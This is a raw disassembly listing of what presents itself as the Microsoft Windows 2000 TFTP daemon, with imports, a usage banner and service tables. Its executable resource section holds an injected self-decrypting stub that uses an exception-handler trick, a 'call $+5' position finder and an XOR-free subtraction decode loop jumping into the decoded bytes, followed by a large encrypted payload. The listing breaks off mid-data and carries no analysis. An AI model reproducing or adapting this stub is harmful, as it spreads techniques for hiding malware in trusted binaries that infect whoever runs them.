_XcptFilter ; _XcptFilter add esp, 8 retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov edx, [ebp-30h] push edx call ds:_exit ; _exit ; --------------------------------------------------------------------------- loc_1003B80: ; CODE XREF: .text:01003B5Cj add esp, 4 mov dword ptr [ebp-4], 0FFFFFFFFh mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [00000006 BYTES: COLLAPSED FUNCTION _XcptFilter. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION _initterm. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= sub_1003BB0 proc near ; CODE XREF: .text:loc_1003AE1p push 30000h ; Mask push 10000h ; NewValue call _controlfp ; _controlfp add esp, 8 retn sub_1003BB0 endp ; --------------------------------------------------------------------------- align 10h loc_1003BD0: ; DATA XREF: .text:01003AD3o xor eax, eax retn ; --------------------------------------------------------------------------- align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] align 10h loc_1003BF0: ; DATA XREF: .text:01003A5Ao jmp ds:_except_handler3 ; [00000006 BYTES: COLLAPSED FUNCTION _controlfp. PRESS KEYPAD "+" TO EXPAND] dd 3D7Ch, 2 dup(0FFFFFFFFh), 3E60h, 10F4h, 3CA4h, 2 dup(0FFFFFFFFh) dd 4012h, 101Ch, 3C88h, 2 dup(0FFFFFFFFh), 40A2h, 1000h dd 3DCCh, 2 dup(0FFFFFFFFh), 4172h, 1144h, 3DC0h, 2 dup(0FFFFFFFFh) dd 41A2h, 1138h, 3D04h, 2 dup(0FFFFFFFFh), 42F6h, 107Ch dd 5 dup(0) dd 4092h, 4020h, 407Eh, 4070h, 4052h, 403Eh, 0 dd 3E6Ch, 3FF6h, 3FE6h, 3FCEh, 3FBEh, 3FB2h, 3FA2h, 3E7Ah dd 3E8Ah, 3EA0h, 3EB0h, 3ECCh, 3EDAh, 3EF2h, 3EFEh, 3F0Ch dd 3F24h, 3F3Ch, 3F56h, 3F62h, 3F70h, 3F78h, 3F92h, 0 dd 4282h, 4272h, 428Eh, 4230h, 4226h, 421Eh, 4214h, 420Ah dd 4200h, 41F8h, 41F0h, 41E6h, 41DCh, 41D2h, 41CAh, 41C2h dd 4302h, 42E2h, 42D0h, 42C2h, 42B2h, 42A2h, 41B8h, 4262h dd 4254h, 424Ch, 423Ah, 4242h, 41B0h, 0 dd 3E52h, 8000006Fh, 80000073h, 3E08h, 80000009h, 3E1Ah dd 8000000Fh, 3E34h, 8000000Ah, 3E42h, 80000003h, 8000000Ch dd 80000002h, 80000037h, 80000017h, 80000014h, 0 dd 417Ch, 4190h, 0 dd 4126h, 4168h, 415Eh, 4154h, 4142h, 4130h, 411Ah, 4112h dd 410Ah, 40F4h, 40EAh, 40D4h, 40B0h, 40C2h, 0 dd 53570019h, 65764541h, 6553746Eh, 7463656Ch, 1B0000h aWsagetoverlapp db 'WSAGetOverlappedResult',0 align 4 a2 db '2',0 aWsarecvfrom db 'WSARecvFrom',0 dw 0Fh aWsacloseevent db 'WSACloseEvent',0 db '=',0 aWsasocketa db 'WSASocketA',0 align 10h aWs2_32_dll db 'WS2_32.dll',0 align 4 aM db 'Œ',0 aExitprocess db 'ExitProcess',0 dw 12Dh aGetlasterror db 'GetLastError',0 align 2 dw 2FDh aWaitforsingleo db 'WaitForSingleObject',0 a4 db '4',0 aCreateeventa db 'CreateEventA',0 align 10h db 0C5h ; Å db 1, 49h, 6Eh aItializecritic db 'itializeCriticalSection',0 dd 654801B6h, 72437061h, 65746165h, 1DE0000h aLeavecriticals db 'LeaveCriticalSection',0 align 2 dw 1BAh aHeapfree db 'HeapFree',0 align 2 dw 1Eh aClosehandle db 'CloseHandle',0 aO db 'o',0 aEntercriticals db 'EnterCriticalSection',0 align 4 retf ; --------------------------------------------------------------------------- db 1, 49h, 6Eh aTerlockedincre db 'terlockedIncrement',0 align 4 db 0FBh ; û db 2, 57h, 61h aItformultipleo db 'itForMultipleObjects',0 align 2 dw 1B4h aHeapalloc db 'HeapAlloc',0 dw 252h aResetevent db 'ResetEvent',0 align 10h retn ; --------------------------------------------------------------------------- db 2, 53h, 6Ch db 65h ; e db 65h, 70h, 0 db 0D8h ; Ø db 2, 54h, 72h aYentercritical db 'yEnterCriticalSection',0 dw 2C5h aSuspendthread db 'SuspendThread',0 dw 254h aResumethread db 'ResumeThread',0 db 0, 90h, 2 aSetevent db 'SetEvent',0 align 2 dw 29Ch aSetlasterror db 'SetLastError',0 align 2 aZ db 'Z',0 aDeletecritical db 'DeleteCriticalSection',0 dw 12Fh aGetlocaltime db 'GetLocalTime',0 align 2 aP db '',0 aExpandenvironm db 'ExpandEnvironmentStringsA',0 aKernel32_dll db 'KERNEL32.dll',0 align 10h db 0E5h ; å db 1, 53h, 74h aArtservicectrl db 'artServiceCtrlDispatcherA',0 dw 1DFh aSetservicestat db 'SetServiceStatus',0 align 2 dw 1B9h aRegisterservic db 'RegisterServiceCtrlHandlerA',0 db 84h ; „ db 1, 52h, 65h aGclosekey db 'gCloseKey',0 dw 1A7h aRegqueryvaluee db 'RegQueryValueExA',0 align 2 dw 19Dh aRegopenkeyexa db 'RegOpenKeyExA',0 aAdvapi32_dll db 'ADVAPI32.dll',0 align 10h db 50h ; P db 2, 52h, 74h aLregisterwait db 'lRegisterWait',0 dw 184h aRtlcreatetimer db 'RtlCreateTimer',0 align 4 db 85h ; … db 1, 52h, 74h aLcreatetimerqu db 'lCreateTimerQueue',0 dw 42Eh a_chkstk db '_chkstk',0 db 0A1h ; ¡ db 1, 52h, 74h aLderegisterwai db 'lDeregisterWaitEx',0 dw 433h a_itoa db '_itoa',0 dw 450h aAtoi db 'atoi',0 align 2 dw 43Dh a_stricmp db '_stricmp',0 align 2 dw 46Dh aMemmove db 'memmove',0 dd 7452019Dh, 6C65446Ch, 54657465h, 72656D69h, 2990000h dd 556C7452h, 74616470h, 6D695465h, 7265h, 6F740486h, 65776F6Ch dd 45F0072h, 70757369h, 726570h, 7473047Dh, 70636E72h dd 746E0079h, 2E6C6C64h, 6C6C64h, 6F4E004Fh, 79666974h dd 72646441h, 6E616843h, 6567h, 65470022h, 41704974h, 54726464h dd 656C6261h, 70690000h, 61706C68h, 642E6970h, 6C6Ch, 78650246h dd 7469h, 7270029Bh, 66746E69h, 2430000h, 6D697463h, 2540065h dd 65706F66h, 17F006Eh, 646B6D5Fh, 7269h, 655F00C5h, 6F6E7272h dd 0AA0000h, 6468635Fh, 7269h, 697402CDh, 656Dh, 7266025Bh dd 6565h, 63660249h, 65736F6Ch, 2A40000h, 6C616572h, 636F6Ch dd 616D028Eh, 636F6C6Ch, 1950000h, 6165725Fh, 0B00064h dd 6F6C635Fh, 6573h, 6C5F0141h, 6B656573h, 1840000h, 65706F5Fh dd 214006Eh, 6972775Fh, 6574h, 655F00D0h, 746978h, 585F0048h dd 46747063h, 65746C69h, 630072h, 5F705F5Fh, 6E695F5Fh dd 6E657469h, 580076h, 65675F5Fh, 69616D74h, 6772616Eh dd 10C0073h, 696E695Fh, 72657474h, 82006Dh, 65735F5Fh dd 65737574h, 74616D72h, 72726568h, 9B0000h, 6A64615Fh dd 5F747375h, 76696466h, 690000h, 5F705F5Fh, 6D6F635Fh dd 65646F6Dh, 6E0000h, 5F705F5Fh, 6F6D665Fh, 6564h, 5F5F0080h dd 5F746573h, 5F707061h, 65707974h, 0C70000h, 6378655Fh dd 5F747065h, 646E6168h, 3372656Ch, 534D0000h, 54524356h dd 6C6C642Eh, 0B40000h, 6E6F635Fh, 6C6F7274h, 7066h, 3Ch dup(0) _text ends ; Section 2. (virtual address 00005000) ; Virtual size : 000012DC ( 4828.) ; Section size in file : 00000E00 ( 3584.) ; Offset to raw data for section: 00003A00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 1005000h dword_1005000 dd 0 dword_1005004 dd 0 dword_1005008 dd 0 dword_100500C dd 0 ; char Format[] Format db ' ================================================================' ; DATA XREF: sub_1001570+4Do db '======== ',0Ah db 'Abstract: ' db ' ',0Ah db ' This implements an RFC 783 tftp daemon. ' db ' ',0Ah db ' It listens on port 69 for requests ' db ' ',0Ah db ' and spawns a thread to process each request. ' db ' ',0Ah db ' ' db ' ',0Ah db 'TFTPD USAGE and Installation: ' db ' ',0Ah db ' ' db ' ',0Ah db ' md d:/tftpd (the StartDirec' db 'tory). ',0Ah db ' copy //MohsinA_p90/test/tftpd.exe . ' db ' ',0Ah db ' sc create tftpd binPath= d:/tftpd/tftpd.exe (give full path' db '). ',0Ah db ' sc query tftpd (check if insta' db 'lled). ',0Ah db ' ' db ' ',0Ah db 'Start: ' db ' ',0Ah db ' sc start tftpd -f (creates a log ' db 'file). ',0Ah db 'or sc start tftpd ' db ' ',0Ah db 'or net start tftpd ' db ' ',0Ah db 'or sc start tftpd [-dStartDirectory] [-e] [-f] ' db ' ',0Ah db ' Options: -e use event log. ' db ' ',0Ah db ' -f log to file. ' db ' ',0Ah db ' -dStartDirectory ' db ' ',0Ah db 'Info: ' db ' ',0Ah db ' sc interrogate tftpd (logs will be updated). ' db ' ',0Ah db ' sc query tftpd Check whether running. ' db ' ',0Ah db 'Stop: ' db ' ',0Ah db ' sc stop tftpd ' db ' ',0Ah db ' net stop tftpd ' db ' ',0Ah db ' ' db ' ',0Ah db 'Variables that control what files can be read/written and by whom' db ': ',0Ah db ' StartDirectory - only files there will be accessible. ' db ' ',0Ah db ' LogFile is created here. ' db ' ',0Ah db ' ValidClients - Clients matching this ip address can read files' db '. ',0Ah db ' eg. you can set it to "157.55.8?.*" ' db ' ',0Ah db ' ValidMasters - clients matching this can write and read file' db 's. ',0Ah db ' eg. you can set it to "" and no one can write' db '. ',0Ah db ' ValidReadFiles - only matching files will be served out, eg. "' db 'r*.t?t"',0Ah db ' ValidWriteFiles- only matching files will be accepted, eg. "w' db '*.txt" ',0Ah db ' ' db ' ',0Ah db 'Client: ' db ' ',0Ah db ' tftp [-i] servername {get|put} src_file dest_file ' db ' ',0Ah db ' -i from binary mode, else ascii mode is used. ' db ' ',0Ah db ' ' db ' ',0Ah db ' ================================================================' db '======== ',0Ah,0 align 8 ; char ServiceName[] ServiceName db 'Tftpd',0 ; DATA XREF: sub_1001665+Bo ; .data:ServiceStartTableo align 10h ; SERVICE_TABLE_ENTRYA ServiceStartTable ServiceStartTable SERVICE_TABLE_ENTRYA <offset ServiceName, offset sub_1001665> ; DATA XREF: sub_1001570:loc_1001646o ; "Tftpd" align 10h off_1005CC0 dd offset aErrorUndefined ; DATA XREF: sub_100230A+73r ; "Error undefined" dd offset aFileNotFound ; "File not found" dd offset aAccessViolatio ; "Access violation" dd offset aDiskFullOrAllo ; "Disk full or allocation exceeded" dd offset aIllegalTftpOpe ; "Illegal TFTP operation" dd offset aUnknownTransfe ; "Unknown transfer ID" dd offset aFileAlreadyExi ; "File already exists" dd offset aNoSuchUser ; "No such user" dd offset aOptionNegotiat ; "Option negotiation failure" align 8 ; BYTE Data Data db 2Ah ; DATA XREF: sub_1002F31+143o ; sub_10037BF+87o align 4 dd 0Dh dup(0) ; BYTE byte_1005D20 byte_1005D20 db 2Ah ; DATA XREF: sub_1002F31+154o ; sub_100333A+163o ... align 4 dd 0Dh dup(0) ; BYTE byte_1005D58 byte_1005D58 db 2Ah ; DATA XREF: sub_1002F31+165o ; sub_10037BF+EAo align 4 dd 0Dh dup(0) ; BYTE byte_1005D90 byte_1005D90 db 2Ah ; DATA XREF: sub_100333A+178o ; sub_10037BF+11Ao align 4 dd 0Ch dup(0) dword_1005DC4 dd 1 align 10h ; FILE *File File dd 0 ; DATA XREF: sub_1001665+1E5w ; sub_1001E73:loc_1001F36r ... dword_1005DD4 dd 0 dword_1005DD8 dd 0 ; sub_1001665:loc_100182Er ... ; HANDLE hHandle hHandle dd 0 ; DATA XREF: sub_1001665+84w ; sub_1001665+8Br ... ; HANDLE hObject hObject dd 0 ; DATA XREF: sub_1001665+91w ; sub_1001E73:loc_1001F0Cr ... align 8 ; volatile LONG Addend Addend dd 0 ; DATA XREF: sub_1001A91+26Eo ; sub_1001A91+2B3o ; HANDLE hHeap hHeap dd 0 ; DATA XREF: sub_10019F0+29w ; sub_1001A1F+52r ... dword_1005DF0 dd 0 ; sub_1001A1F+5Ew ... dword_1005DF4 dd 0 ; sub_1001A91+59w ... dword_1005DF8 dd 0 ; sub_10018DB+EFr dword_1005DFC dd 0 ; HANDLE Handle Handle dd ? ; DATA XREF: sub_10018DB+F4o ; sub_1002219+D5o db 3 dup(?) dword_1005E07 dd ? ; sub_1003910+6Br ... align 4 dd 7Ch dup(?) dword_1005FFC dd ? dword_1006000 dd ? dword_1006004 dd ? dword_1006008 dd ? dword_100600C dd ? dd 4 dup(?) ; struct _RTL_CRITICAL_SECTION stru_1006020 stru_1006020 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+14o ; .text:01001D78o ... ; void *Memory Memory dd ? ; DATA XREF: sub_10018DB+2Ao ; sub_10018DB+34w ... dword_100603C dd ? ; HANDLE hThread hThread dd ? ; DATA XREF: HandlerProc:loc_1001E1Dr ; HandlerProc:loc_1001E35r ; SERVICE_STATUS_HANDLE hServiceStatus hServiceStatus dd ? ; DATA XREF: sub_1001665+52w ; sub_1001665+DBr ... dword_1006048 dd 6 dup(?) ; struct _RTL_CRITICAL_SECTION stru_1006060 stru_1006060 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10019F0+5o ; sub_1001A1F+2o ... ; LPVOID lpMem lpMem dd ? ; DATA XREF: sub_10019F0o ; sub_10019F0+Fw ... dword_100607C dd ? ; struct _RTL_CRITICAL_SECTION CriticalSection CriticalSection _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+Do ; sub_100287F+1o ... dword_1006098 dd ? ; sub_10018DB+25w ... dword_100609C dd ? dword_10060A0 dd ? ; sub_10018DB+A2r ... dd 7 dup(?) ; time_t Time Time dq ? ; DATA XREF: sub_1001665+10Ao ; sub_1001665:loc_1001857o ... dword_10060C8 dd ? dword_10060CC dd ? dd 0Ch dup(?) ; struct _OVERLAPPED overlapped overlapped _OVERLAPPED <?> ; DATA XREF: sub_10018DB+E0o ; sub_1002219:loc_10022E9o align 10h ; struct _SERVICE_STATUS ServiceStatus ServiceStatus _SERVICE_STATUS <?> ; DATA XREF: sub_1001665+10w ; sub_1001665+63o ... align 10h ; struct WSAData stru_1006140 stru_1006140 WSAData <?> ; DATA XREF: sub_1001665+9Co dword_10062D0 dd ? dword_10062D4 dd ? dword_10062D8 dd ? align 200h _data ends ; Section 3. (virtual address 00007000) ; Virtual size : 00010400 ( 66560.) ; Section size in file : 0000AE00 ( 44544.) ; Offset to raw data for section: 00004800 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _rsrc segment para public 'CODE' use32 assume cs:_rsrc ;org 1007000h assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing dd 3 dup(0) dd 10000h, 10h, 80000018h, 3 dup(0) dd 10000h, 1, 80000030h, 3 dup(0) dd 10000h, 409h, 48h, 7060h, 374h, 4 dup(0) dd 340374h, 560000h, 5F0053h, 450056h, 530052h, 4F0049h dd 5F004Eh, 4E0049h, 4F0046h, 0 dd 0FEEF04BDh, 10000h, 50000h, 8560001h, 50000h, 8560001h dd 3Fh, 0 dd 40004h, 1, 3 dup(0) dd 2D4h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h dd 66006Eh, 6Fh, 2B0h, 300001h, 300034h, 300039h, 420034h dd 30h, 16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh dd 65006Dh, 0 aMicrosoftCorpo: unicode 0, <Microsoft Corporation>,0 aR: unicode 0, <r%> dd 460001h, 6C0069h, 440065h, 730065h, 720063h, 700069h dd 690074h, 6E006Fh, 0 aTcpIpTrivialFi: unicode 0, <TCP/IP Trivial file transfer daemon.>,0 align 4 a8 db '8',0 dw 0Ch dd 460001h, 6C0069h, 560065h, 720065h, 690073h, 6E006Fh dd 0 a5_00_2134_1: unicode 0, <5.00.2134.1>,0 a4_0: unicode 0, <4> dw 0Ah dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch, 6D0061h dd 65h, 660074h, 700074h, 2E0064h, 780065h, 65h, 280074h dd 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h, 690072h dd 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h, 200074h dd 430028h, 200029h, 69004Dh, 720063h, 73006Fh, 66006Fh dd 200074h, 6F0043h, 700072h, 20002Eh, 390031h, 310038h dd 31002Dh, 390039h, 39h, 0A003Ch, 4F0001h, 690072h, 690067h dd 61006Eh, 46006Ch, 6C0069h, 6E0065h, 6D0061h, 65h, 660074h dd 700074h, 2E0064h, 780065h, 65h, 2F007Eh, 500001h, 6F0072h dd 750064h, 740063h, 61004Eh, 65006Dh, 0 aMicrosoftRWind: unicode 0, <Microsoft(R) Windows (R) 2000 Operating System>,0 align 4 db '<',0 dw 0Ch dd 500001h, 6F0072h, 750064h, 740063h, 650056h, 730072h dd 6F0069h, 6Eh, 2E0035h, 300030h, 32002Eh, 330031h, 2E0034h dd 31h, 44h, 560001h, 720061h, 690046h, 65006Ch, 6E0049h dd 6F0066h, 0 dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h dd 6E006Fh, 0 dd 4B00409h, 0Bh dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp call loc_1007412 call sub_1007492 jmp near ptr byte_1007441 ; --------------------------------------------------------------------------- loc_1007412: ; CODE XREF: .rsrc:01007403p push dword ptr fs:0 mov fs:0, esp xor ds:dword_1007442, ebp xor ecx, ecx push ecx push 80000000h push ecx push 80000000h push ecx push ecx push ecx push ecx push 1000h call ds:LeaveCriticalSection ; --------------------------------------------------------------------------- byte_1007441 db 0BDh ; CODE XREF: .rsrc:0100740Dj dword_1007442 dd 0 ; --------------------------------------------------------------------------- mov edx, [ebp-8] loc_1007449: ; CODE XREF: .rsrc:010074A6j mov fs:0, edx sub eax, eax loc_1007451: ; CODE XREF: .rsrc:01007457j dec al or al, al jz short loc_100745B jnz short loc_1007451 jmp short loc_10074C2 ; --------------------------------------------------------------------------- loc_100745B: ; CODE XREF: .rsrc:01007455j call $+5 pop esi add esi, 3Fh push esi mov edi, 289Ch cld cld and edx, 0 add edx, 5Dh stc loc_1007479: ; CODE XREF: .rsrc:0100748Cj mov al, [esi] sub ax, dx mov [esi], al cld inc esi add dx, 4 sub edi, 1 or edi, edi jnz short loc_1007479 pop esi leave jmp esi ; =============== S U B R O U T I N E ======================================= sub_1007492 proc near ; CODE XREF: .rsrc:01007408p arg_C = dword ptr 10h mov eax, [esp+arg_C] pop dword ptr [eax+0B8h] xor eax, eax retn sub_1007492 endp ; sp-analysis failed ; --------------------------------------------------------------------------- aEaeimi db 'Eaeimi',0 ; --------------------------------------------------------------------------- jge short loc_1007449 jge short loc_10074B8 and [eax+eax*8-6Bh], ebx cdq xchg eax, esp and [edi], ebp shr dword ptr [ebp-42464A4Fh], 1 loc_10074B8: ; CODE XREF: .rsrc:010074A8j inc ecx push eax and eax, 649D5F1h db 36h push 0FFFFFF95h loc_10074C2: ; CODE XREF: .rsrc:01007459j mov esp, 50F5F11Ch mov word ptr [ecx+110D38DCh], es xchg eax, ebp shr dword ptr [ebx+15292549h], 1 cmpsb inc edx cmp al, 0D5h shr byte ptr [ebp+49h], 1 dec ebp loc_10074DC: ; CODE XREF: .rsrc:010074E2j fdiv qword ptr [eax+50945C5Bh] jno short loc_10074DC or ds:84817DA1h, eax mov esp, 8120E6E8h push ds or eax, 0EB01ADC9h mov ch, 0B9h db 3Eh scas byte ptr es:[edi] retf 3D9h ; --------------------------------------------------------------------------- dd 15560D1h, 899E72E5h, 0B6F92B29h, 0D090501h, 6B01B904h dd 0B8292521h, 3D801DF9h, 0E744541h, 5D966CC5h, 0FA696562h dd 0B3894AF6h, 1793FC81h, 0CF8185E1h, 98A9A5A1h, 4C3EACF0h dd 0CDC9FBF9h, 5159D5D1h, 809E72FFh, 88F92B29h, 0B10D297Dh dd 0F5CEA0B6h, 0B8295B60h, 737811EEh, 21E6D041h, 0BA598B90h dd 309A7424h, 366BFF1Ch, 8D89AC3Bh, 739BA5C1h, 70A287E1h dd 19BA6ADBh, 0F0F5C269h, 4A0ACF1Eh, 1EF613BDh, 59A9FBA1h dd 90BBCC08h, 0A5637281h, 5DB6B05Ah, 0C4C6F87Fh, 0B8575F28h dd 4CF2D139h, 50CF07A6h, 0FC8B405Bh, 0F74E1882h, 0BAB583F8h dd 5CB9B7DFh, 0D55E0CB9h, 0E50E5D3h, 0A509826Fh, 41A0762Ch dd 107BBA33h, 505C7B71h, 0ACE3171Ah, 501B23B5h, 966D369h dd 61D767B8h, 0C975129Dh, 29AA790Fh, 0FB9B8Fh, 0A781E072h dd 0D9C2DD79h, 2D7ECF13h, 0A9D5919h, 7B31AC64h, 0A28615B7h dd 0D3636E10h, 0E400F843h, 923E37B2h, 90A2F344h, 0AEA223DBh dd 3BDD7729h, 8548D286h, 0CA48C601h, 1347656Bh, 0BCCB83ACh dd 0B5411768h, 8834F2Dh, 6C6EBA61h, 9733612Fh, 64F68C58h dd 21734497h, 0CBE1FFD0h, 9AEA657Fh, 0A6BEB33h, 1198B638h dd 0E204EC82h, 6672BAEh, 45C4FCC0h, 5ED39E99h, 0BDFC5428h dd 16D9A6Ch, 3586E933h, 0DE6EF061h, 30FE4F6Ah, 57CD8BBFh dd 6BC3C718h, 0F245257h, 0F2754090h, 59803256h, 2AB20C8Bh dd 9A537396h, 8828DCF3h, 6909EB6Eh, 55731A0h, 4E9FA6B4h dd 7DBCE6E6h, 308703EBh, 0F5464B64h, 9DC7CAA4h, 0B0BFCF76h dd 298ACBB4h, 27B110E0h, 89F22DC9h, 5DAE5A7Ch, 8687BB62h dd 0D5344E06h, 0DDFF307h, 4D9EED12h, 9CD308Dh, 401659A8h dd 8CDDCC1Dh, 0AA0DDF30h, 0F960ABECh, 0C7B7CC2Bh, 0E731376h dd 19FF6D21h, 33612BCh, 4EB676A0h, 7CBD90DFh, 885FBFFAh dd 88B16F41h, 0A1A3D198h, 51A3CB75h, 0A2F3AFFFh, 0C91042FAh dd 0AF66BF5h, 0D816D674h, 744E9FEEh, 0BA745BC2h, 75C21710h dd 3182EBA4h, 82138FDFh, 0A930625Ah, 0E9AB47D3h, 2172C192h dd 85FE7F66h, 99EE3B8Ch, 0AD65F72Eh, 123CDE10h, 0CD1D47F0h dd 16972B7Bh, 45C4DEF6h, 252991Ch, 7F996AB0h, 91CA0531h dd 3586D723h, 0F144444Bh, 6FE65A0h, 632411F9h, 30E45C69h dd 0D28B8306h, 0BFA1BE4Dh, 59AA2551h, 17723B09h, 0CFFA73C4h dd 5BDE2F80h, 7D662790h, 13E1E2F8h, 46128DA9h, 93DBD91Bh dd 0AE51CA2Ch, 0EB0F5D5Bh, 2400A4A4h, 6DC0C1F8h, 4F354A1Ch dd 0E536B9EDh, 0A3F2BF9Dh, 0E237FF50h, 1940F2C6h, 54250739h dd 5F170D07h, 0F3196640h, 705A7521h, 4A8B6848h, 81A84B61h dd 586064A5h, 89A79BBEh, 9F81E2A7h, 0FCC2DD7Ch, 6397A193h dd 9054EADCh, 2A6B4867h, 61C8EB95h, 0F8443C85h, 0D2CB7BDEh dd 14E54879h, 1FCA9FC7h, 0EB68700h, 6EA56BBCh, 850423A4h dd 41AC96B9h, 4D8348DAh, 0BCE9DAB0h, 9EC7570Eh, 9B82E955h dd 48C90CC8h, 12FA55AFh, 65B6074Fh, 97ADBF9Fh, 83A34AF1h dd 0CEEEC021h, 55A6F748h, 0D0DD4AA6h, 71F006BCh, 0B4DA98F7h dd 0EB2AE702h, 6CF8A17Bh, 1F109D2Dh, 13FEA27Fh, 5492BF28h dd 35BB93E4h, 71874F36h, 69220B72h, 0FF6EC718h, 4BE4D414h dd 12E3EF82h, 59803272h, 55A23660h, 0D17FBFECh, 378AA680h dd 0A3E6723Ch, 1F564D38h, 0C12CB1B2h, 7D73B3C8h, 6A8A812Ch dd 2476728Eh, 0BFEBF117h, 0F2F5DA60h, 28FECE45h, 623687D7h dd 0CFE24347h, 68218850h, 0F0F3BB0Ch, 32A5DC35h, 91182384h dd 617574B3h, 6917AB2Eh, 0A5F0BB68h, 0EDF869Ah, 3D7CA686h dd 86075B6Fh, 0B6B6BF94h, 625A1364h, 807ECF20h, 0B9D47FFh dd 7746AA63h, 0C5892DBBh, 1DC9A22Bh, 0D659637Dh, 4A2B3788h dd 51D8F67Ch, 8844441h, 0B0EF6BEEh, 5BFF15E3h, 0EB923934h dd 5FD92AEEh, 20A4571h, 75C61850h, 0BAA1AA95h, 0C46A73D4h dd 94A0B8C5h, 3BA70762h, 55B42091h, 912E7FBAh, 335DAEBDh dd 0DAA6C97Dh, 0CF48FF44h, 0FF1AD93Dh, 0A50E3ED6h, 0DF960D40h dd 63C506DAh, 420E31D5h, 0EC0647ACh, 358160D0h, 62F962E4h dd 321535BDh, 69F01F9Ah, 0F1F5F5E3h, 54135FF8h, 855A0EBEh dd 4F22BCCBh, 6916B708h, 1711DF4h, 22737E30h, 4990C282h dd 199DE773h, 9D2646BDh, 0BF499A68h, 0D18AC5F8h, 24CB7423h dd 0C395D6D1h, 0D8BE0125h, 1BE4C96h, 1C3687D7h, 0DC04D00Dh dd 0D223FF3Ah, 1940F21Ah, 44EF1F2Fh, 3BAC339Dh, 779EC540h dd 0E15A51FCh, 0C51267B7h, 816C5FF9h, 0C8927500h, 0A7AC4E30h dd 0B5D212E0h, 0D979E264h, 2CD37A46h, 0F682F857h, 564847A2h dd 0EEFF53A3h, 1D9CC6FAh, 1C0A3749h, 0DDE6800Bh, 0DDA29B7Ch dd 0B05EAF11h, 0CA1A6BB6h, 85D62778h, 4192E334h, 8C4E9FF0h dd 0B90A5B84h, 46C61768h, 9EAF0256h, 0ED4C76A2h, 25A684F1h dd 47DFFC18h, 0AEED027Eh, 0DD5C687Bh, 75DAEBAh, 0CEA6C97Dh dd 0DF8FDB87h, 0CD0CC7C0h, 60262B7Ch, 0D5810ED9h, 2FE99144h dd 0A429FB87h, 0DA9650Fh, 3545BC53h, 7D59694h, 36FE4165h dd 57F7BFDFh, 0E7BA8618h, 2715B233h, 0C1491CAFh, 36D45905h dd 6137CB65h, 0EE733FF6h, 39DEA35Dh, 9D4CF7A9h, 48565113h dd 6D31C062h, 0E97561CBh, 7C8A9C4Fh, 0A965FC96h, 15998D07h dd 5D1DCC7Bh, 0C86834CCh, 37F78717h, 7E46E477h, 934D20h dd 5AFBAA6Fh, 0BA7836C8h, 43C57F23h, 8143CC9Bh, 0FB8257DFh dd 0C5F28853h, 0A27511B1h, 25DA841Ch, 9529B87Ah, 0DA9816A8h dd 1DE59F43h, 9562EAB1h, 0DCAA6FFFh, 860C96A6h, 0C88A32C4h dd 35A9BF3Ch, 0B15EE7A3h, 0F9C55CF6h, 75F9AD44h, 0BA8503DBh dd 1CC7971Fh, 0AA42D68Fh, 0E6A92FDFh, 4F0C9F4Bh, 0D256F8CFh dd 27E56506h, 8E47D37Bh, 0D9A551ECh, 55EE8C3Fh, 0BA58F0A6h dd 0E2C36008h, 7109C2D0h, 0F69624CEh, 3AF0A015h, 9D45EE04h dd 0F2C248FAh, 6605D450h, 0D9712A38h, 2EF6763Fh, 9E560484h dd 16B63706h, 5A43D767h, 0D6653FB8h, 19E59130h, 7E19CD7Fh dd 0EC7608F3h, 3EE6AF37h, 0BE3E0FA3h, 59E96320h, 6B32DC41h dd 0FA9341E7h, 54DE8951h, 0A670F79Fh, 24AD5606h, 821AA05Eh dd 0D1696270h, 46F67E5Eh, 937DFC8Bh, 16B46606h, 5C25C37Fh dd 0DD7A0CB6h, 21D26839h, 8244E17Bh, 5D6D48FEh, 47FA9C47h dd 94731CAFh, 35B96D26h, 7D63EF9Bh, 0E2A04DDFh, 66C98C5Ch dd 0A76913A4h, 0C8EA009h, 0A938B87Ch, 0DAA742D6h, 21C2A231h dd 925FEAAEh, 0DB6B5A09h, 7828B052h, 0D36203C8h, 30C99E21h dd 8FFCAA99h, 95B24FE3h, 8F16D071h, 0CE790BD7h, 22CC7730h dd 0AA42DC96h, 149224E1h, 660CB34Bh, 0D23EF8C8h, 48C67C0Bh dd 8125F090h, 0E0955EE0h, 75E5A850h, 9951F4BFh, 5C97DFDh dd 8A15B36Bh, 0EF9D3BEFh, 2BF6982Bh, 0D85710ABh, 0F9C5311Ah dd 62302B5Fh, 0E6811BC6h, 25EE6420h, 740EFE81h, 169E44FAh dd 5A1AC062h, 0B27645E4h, 20C9653Ch, 822CBB90h, 0A8A30E2h dd 2D03A035h, 0CB4916A1h, 1CBE3D4Ch, 8945DC76h, 0F5792DE7h dd 41242F5Bh, 0AA3DF979h, 17A64C04h, 7435C25Dh, 0D1941FDDh dd 5AED8969h, 0A776FC94h, 4A5720Dh, 6D16D46Dh, 0DB3B17D6h dd 4AE26833h, 8D53E061h, 5D945AE7h, 6B2BA746h, 0BA7218A3h dd 23C58237h, 7043DD70h, 98B3ADFh, 66C99B7Ah, 9E69EDA4h dd 0F0AC9A19h, 921EBA8Fh, 0F30641C9h, 4EF2C638h, 996511B2h dd 15888BFFh, 8311B759h dd 0C48F31A4h, 51DF8E2Bh, 0AF4DE2A5h, 0D4B28188h, 8400D054h dd 0B66A0EDBh, 0FF1A8D15h, 